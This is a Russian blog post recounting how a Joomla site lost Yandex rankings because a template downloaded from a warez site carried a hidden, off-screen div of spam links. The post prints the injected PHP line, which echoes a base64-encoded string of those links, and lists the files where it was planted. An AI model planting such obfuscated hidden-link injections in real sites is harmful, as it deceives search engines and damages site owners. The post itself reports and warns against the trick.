среда, 12 июня 2013 г.

Бессплатный сыр в мышеловке или почему сайт угодил под АГС фильтр Яндекса

Довелось мне допиливать один сайт, сделанный на популярной бесплатной CMS Joomla. Сайт уже был с шаблоном и основными компонентами, такими как k2. Ну и вот, вроде бы  весь остальной функционал добавлен, статьи опубликованы, можно запускать. Сайт заливается на хостинг и .... оказывается забанен Яндексом. В индексе только одна главная страница. Ну что, бывает, яндексовские фильтры славятся своей строгостью. Приступаем к оптимизации.
Первым делом исправляю самые очевидные вещи: проверяю мета-теги на соответствие содержанию, а так же материалы на избыточность ключевых слов. Удаляю дубликаты, проверяю форматирование текста и даже пишу пару уникальных статей. Жду. Яндекс в этих вопросах не очень поворотливый, и обычно выход из под бана происходит не раньше чем через 2 недели. Через пару недель вижу результат: теперь в индексе целых 2 страницы (из 24, ога). Начинаю мысленно и не только проклинать Яндекс, свою криворукость и черных оптимизаторов, благодаря которым Яндексу и пришлось делать такой лютый банхаммер под названием АГС.
Но, делать нечего, надо исправлять ситуацию. На всякий случай решаю проверить текст на наличие орфографических ошибок, они не кому не нравятся :) Делаю это бесхитростно: копирую с сайта, вставляю в ворд. Word'ским спелчекером гоняю на ошибки. И вот, после очередной итерации, захватив случайно при копировании соседний блок, отвечающий за оформление, вижу в ворде следующую картину:
Wut?! Чужая реклама на моём сайте?! Мгновенно было выяснено что эти ссылки обитают в блоке, загнанном на 5500 пикселей  левее содержимого. Т.е. пользователю он не виден, зато поисковикам просто отлично!
Откуда? Стиль этого блока живет в одном из css-файлов шаблона, а код его отображения - в php-файлах модуля k2.

Вражеский div в теле сайта
 
Конечно же я начал расследование. И, как выяснилось, тема оформления была скачана с какого-то варезного сайта, хозяин которого вот таким интересным образом продвигает свои говносайты. 
Вот так эта строчка выглядит в php-файлах компонента к2:

<?php
$lpc='PGRpdiBpZD0iaXQtbHAiPjxhIGhyZWY9Imh0dHA6Ly9qb29tZG9tLmNvbSIgdGFyZ2V0PSJfYmxhbmsiIHRpdGxlPSJqb29tbGEiPtGI0LDQsdC70L7QvdGLINGB0LDQudGC0L7QsjwvYT48YnI+PGEgaHJlZj0iaHR0cDovL2FteHgtY3MucnUvIj5Db3VudGVyLVN0cmlrZTwvYT48YnI+PGEgaHJlZj0iaHR0cDovL2Jlei1pbWVuaS5ydS8iPtGI0L7RgyDQsdC40LfQvdC10YE8L2E+PC9kaXY+';
echo base64_decode($lpc);?>
 
Как видим, злыдень постарался чтобы левые url'ы не бросались в глаза и закодировал строчку в base64. Если декодировать ее, то мы получим код того div'а.
Данная инъекция была найдена в файлах: com_k2\templates\default\item.php и com_content\article\default.php
 И находилась в блоках:
  <!-- Plugins: BeforeDisplayContent -->
  <!-- Plugins: AfterDisplayContent -->
Вот такие дела, товарищи. Бесплатный сыр, как известно, в мышеловке. Ну а то, что в warez'ом софте может быть всё что угодно, уже аксиома. Не наступайте на мои грабли, ибо мне теперь предстоит увлекательный квест: "проверь весь остальной код на иньекции".
UPD. Всего через 2 дня после удаления скрытого блока рекламы, количество страниц в поиске возросло с 2-х до 20.

1 комментарий:

  1. Спасибо за интересную и полезную информацию!! Мне помогло, была такая же проблема.

    ОтветитьУдалить